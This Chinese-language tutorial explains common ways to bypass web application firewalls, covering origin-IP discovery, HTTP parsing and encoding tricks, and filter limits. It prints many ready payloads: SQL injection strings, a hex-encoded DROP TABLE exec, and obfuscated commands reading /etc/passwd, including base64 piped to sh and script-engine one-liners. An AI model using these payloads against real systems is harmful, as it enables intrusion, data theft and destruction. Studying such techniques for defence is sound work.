本篇文章通過網絡架構層
、HTTP協議層
、第三方應用層
講解了繞過WAF的常見方法
一、網絡架構層
一般通過域名指向雲WAF地址後反向實現代理,找到這些公司的服務器的真實IP即可實現繞過。
具體方法如下:
1、查找相關的二級域名及同一域名註冊者的其他域名解析記錄。
2、通過查看郵件MX解析記錄來發現真實服務器的IP記錄或網段,例如:
windows可以執行命令:
nslookup -qt=mx baidu.com
Linux可以執行如下命令來查看baidu.com域名的MX解析IP地址
dig mx baidu.com
3、查看域名的歷史解析記錄。實現該操作的網站:
https://securitytrails.com/
4、使用zmap等快速掃描工具對全網IP進行掃描以找到網站真實IP。
5、利用SSRF漏洞反向連接的IP獲取網站真實IP。
二、HTTP協議層
可以利用WAF、web server、web語言解析引擎這三方對標準HTTP解析的差異來實現繞過。
具體繞過的方法如下:
1、利用某些硬件WAF對SSL加密算法的支持不夠進行繞過。
參考文章:通過濫用SSL / TLS繞過Web應用程序防火牆
對應的測試腳本:abuse-ssl-bypass-waf
2、利用HTTP協議版本來進行繞過
HTTP發展至今,已由1991年的0.9版發展到2015年的2.0版,由於不支持相關協議的WAF在解析數據包時會出問題,因此通過發送不同版本協議的粘包即可繞過某些WAF。
3、利用URL編碼、charset編碼、MIME編碼等進行繞過。
IIS ASP支持類似Unicode %u0027
的編碼,還會對不合法的URL編碼進行字符刪除。IIS ASP對s%elect
編碼的處理結果爲select
,而Nginx的ngx_unescape_uri
函數對它的解碼結果爲slect
。Nginx的ngx_unescape_uri
函數在處理%編碼時,如果%
後面的第一個字符不在十六進制範圍內,則會丟棄%
;否則判斷第二個字符是否在十六進制範圍內,如果不在則會丟棄%
和第一個字符
。
HTTP請求頭Content-Type
的charset
編碼可以指定內容編碼,這個值一般都是UTF-8編碼的,但惡意攻擊者可以指定使用ibm037
、ibm500
、cp875
、ibm1026
等不常用的編碼來進行繞過。例如,可以設置Content-Type
頭的值爲application/x-www-form-urlencoded;charset=ibm500
或multipart/form-data;charset=ibm500,boundary=blah
等。這裏使用Burpsuite的HTTP Request Smuggler插件可以簡化數據包的修改操作。
在Spring中,如果上傳的文件名以=?
開始並以?=
結束,則調用MimeDelegate.decode
來對文件名解碼。MIME是郵件協議中用到的編碼方式,這裏我們可以將上傳文件名改爲=?UTF-8?B?YS5qc3A=?=
,UTF-8代表字符編碼,?B?
代表後面的YS5qc3A=
是base64編碼的。經過Spring解碼得到的文件名是a.jsp
,而一般的WAF如果之前沒有經過處理,那麼就會出現在WAF中上傳文件名過濾被繞過的問題。
4、利用對上傳協議multipart/form-data
的不規範解析進行繞過。
以PHP Web Server對multipart/form-data
的解析作爲例子。
由於該協議對PHP對解析存在缺陷,使得如果一行有多個filename字段值,則PHP Web Server會取最後一個filename值,如下所示:
Content-Disposition: form-data; name="file1"; filename="a.txt"; filename="a.php";
PHP Web Server最終得到的文件名是a.php
,而某些WAF只判斷第一個filename的值,因此WAF對上傳的文件的過濾檢測功能會被黑客繞過,並且這裏的form-data
可有可無,將其去掉也不影響PHP Web Server獲取filename
。
此外,filename
的編碼還受HTTP請求Content-Type
頭中charset
的影響,PHP Web Server可以根據這個值進行解碼處理。這些都有可能被一些人稍微做點手腳,便可以繞過不少WAF的文件上傳過濾檢測功能。
5、其他協議的繞過
URI解析繞過:
有些WAF可以處理對URI不兼容的繞過,如:
GET /xxx/a.jsp?x= &id=union%20all%20select%20@@version HTTP/1.1
將HTTP原始數據包的"x="
後面設置爲空格,某些硬件WAF就會忽略後面的&id=union%20all%20select%20@@version
參數從而繞過WAF。
還可以利用一些較少用到的HTTP處理來繞過,例如在HTTP請求body chunked
編碼時進行註釋及變形。
利用HTTP Host頭也可以繞過一些基於域名防護的WAF,一般的Host頭字符串中不包含端口信息,如":80"
或":443"
,域名也可以用本地Host來代替,可以有如下寫法:
Host: localhost:80
Host: 127.0.0.1:80
除此外,基於協議的繞過還有很多,如HPP復參繞過、參數名的特殊字符轉換繞過等。
三、第三方應用層
第三方應用層主要有數據庫、系統命令、第三方組件等組成部分。下面對這3部分的繞過進行具體說明。
1、數據庫的繞過
數據庫的繞過方式極多,有註釋繞過、編碼繞過、不同數據庫對空格的不同定義繞過等。
利用MySQL的版本號註釋(/*!)
功能繞過WAF的情況最多,還有一些方法也可以繞過WAF,比如,利用0xA0
代替空格也能繞過一些WAF,利用\N
和.e
浮點等特殊用法繞過WAF(繞過一些如union的關鍵字),以及利用&&
代替and
等關鍵字和大括號註釋(如union select{x 1},xx
)繞過WAF等。
在MySQL中,從0x01
至0x0F
的字符都可以代表空格。通過註釋加換行也可以繞過一些WAF過濾,比如,1%23%0AAND%23%0A1=1
(%23
經過URL解碼後是#
字符,#
字符是MySQL中的註釋符,%0A
經過URL解碼後是換行符);還有利用"."
和":"
特殊符號進行繞過的,如:
union select xx from.table
union select:top 1 from
and:xx
另外,利用exec編碼也可以繞過關鍵字,如:
and 1=0;declare @S varchar(4000) set @S=cast(0x44524f50205441424c4520544d505f44423b as varchar(4000));exec(@S);--
更多有關數據庫的繞過可以參考sqlmap的temper插件,插件地址爲:https://github.com/sqlmapproject/sqlmap/tree/master/tamper
2、系統命令的繞過
以cat /etc/passwd
命令爲例,在Linux bash環境下去掉空格的寫法如下:
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
X=$'cat\x20/etc/passwd'&&$X
以ping baidu.com
爲例,在windows中替換空格的寫法如下:
ping%CommonProgramFiles:~10,-18%baidu.com
ping%PROGRAMFILES:~10,-5%baidu.com
在Linux的bash環境下想要繞過關鍵字,則可以插入成對的單引號、雙引號或反引號,其中反引號必須連着寫,比如可以將cat /etc/passwd
寫爲以下形式:
c'a't /etc/pass''wd
c""at /e't'c/pass""wd
c""at /e't'c/pas``s``wd
另外,也可以在shell命令的任意位置插入$@
,或者在單詞結尾處插入$x
,這裏的x
可以是任意字母,例如可以寫成如下形式:
c$@at /e$@tc/pas$@swd
cat$x /etc$x/passwd$x
ca$@t /etc$x/passwd$x
若通過編碼繞過關鍵字,則可以將cat /etc/passwd進行base64編碼,寫法如下:
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh
若通過通配符繞過關鍵字,則linux bash的通配符與windows的類似,支持使用?
代表單個字符和使用*
代表多個字符的寫法,如/bin/cat /etc/passwd
命令可以有以下寫法:
/b??/ca? /e?c/pas?wd
/b*/ca* /et*/pas*d
/b??/ca* /e?c/pas*d
除此之外,還可以通過一些腳本執行引擎,如perl、python、nodejs、php、java等來繞過WAF關鍵字,相關寫法如下:
perl -e '$a="ca";$b="t /et";$c="c/pas";exec($a.$b.$c."swd");'
python -c 'import subprocess;subprocess.call(["ca"+"t","/et"+"c/pa"+"sswd"]);'
php -r 'exec("ca"."t /et"."c/pa"."sswd");'
3、第三方組件的繞過
一般來說,WAF會用到的第三方組件有PCRE、ISAPI、Libinjection等。
PCRE在處理正則表達式時,爲了防止ReDoS正則表達式拒絕服務攻擊,提供了PCRE_EXTRA_MATCH_LIMIT
和PCRE_EXTRA_MATCH_LIMIT_RECURSION
選項來限制匹配次數。PCRE_EXTRA_MATCH_LIMIT
的值默認爲100萬,PCRE_EXTRA_MATCH_LIMIT
可以限制匹配的總次數;而PCRE_EXTRA_MATCH_LIMIT_RECURSION
主要限制匹配遞歸次數,並不是所有匹配都存在遞歸,所以該值在小於PCRE_EXTRA_MATCH_LIMIT
值時纔有意義。
有些WAF爲了防止ReDoS都會將PCRE_EXTRA_MATCH_LIMIT
設置爲比默認值更小的值,加入將WAF過濾SQL語句的正則表達式寫成:
/UNION.+?SELECT/is
而此時PCRE_EXTRA_MATCH_LIMIT
的值爲100萬,那麼要繞過WAF過濾防護的SQL語句可以寫成:
union/*aaa……a*/select
這裏被註釋掉的字符a
有100萬個,很容易滿足PCRE_EXTRA_MATCH_LIMIT
的值爲100萬的限制條件,而且這些字符的數據量大小不到1MB,不會佔用太多空間。根據此方法可以繞過很多類似的WAF正則規則。
ISAPI是IIS提供的一套編寫API的插件,ISAPI filter
可以對請求頭中的數據進行過濾,ISAPI extension
可以獲取請求的body數據,對應的原型爲HttpExtensionProc(EXTENSION_CONTROL_BLOCK*pECB)
。這裏可以通過pECB->lpbData
獲取到post請求的body部分的數據,但最大隻能存儲48kb的數據。總的大小可以通過pECB->cbTotalBytes
獲取,超過48kb的數據的同步函數調用方式可以通過pECB->ReadClient(...)
獲取,異步函數調用方式可以通過pECB->ServerSupportFunction(...,HSE_REQ_ASYNC_READ_CLIENT,...)
獲取。
但是,這樣在ISAPI插件的WAF中讀取超過48kb的數據會導致後面的ASP獲取不了多於48kb的數據,因此很多基於ISAPI的IIS WAF都可以通過把攻擊數據放到48kb外而繞過WAF防護。如果某post參數id存在SQL注入,那麼我們可以填充48kb的無用數據後再寫注入語句,如下所示:
x=aaa...a&id=1%20union%20all%20select%201,1,1,1@@version,1
其中,上面的a字符所佔用的空間超過了48kb
Libinjection被應用於很多WAF中,知名的有modsecurity。因爲Libinjection只是對SQL語句進行標籤化(token化),然後對被標籤化的字符串進行匹配,所以同一種繞過方法通常可以繞過很多SQL注入語句的過濾規則。
利用不常用的SQL函數可以繞過Libinjection過濾,比如用mod(3,2)代替1的SQL語句可以寫爲:
mod(3,2) union select mod(3,2),usr,pwd from user --
通過使用Fuzz測試技術也可以繞過Libinjection過濾,例如插入1<@
到SQL語句中可以繞過Libinjection防護,此方法也可以繞過某些WAF的SQL注入語義檢測引擎。相關的Python腳本地址爲:https://waf.ninja/libinjection-fuzz-to-bypass/
通過大括號也可以繞過Libinjection過濾,MySQL支持{identifier expr}
這種兼容ODBC的轉義寫法,對應的可繞過Libinjection過濾的SQL語句如下所示:
1'<@=1 or {x (select 1)} --
1 and{`if`updatexml (1,concat (0x3a,(select /*!50000(/*!50000schema_name) from/*!50000information_schema*/.schemata limit 0,1)),1)} --
四、總結
總的來說,在WAF上只要善於挖掘,總能找出各式各樣的繞過方法。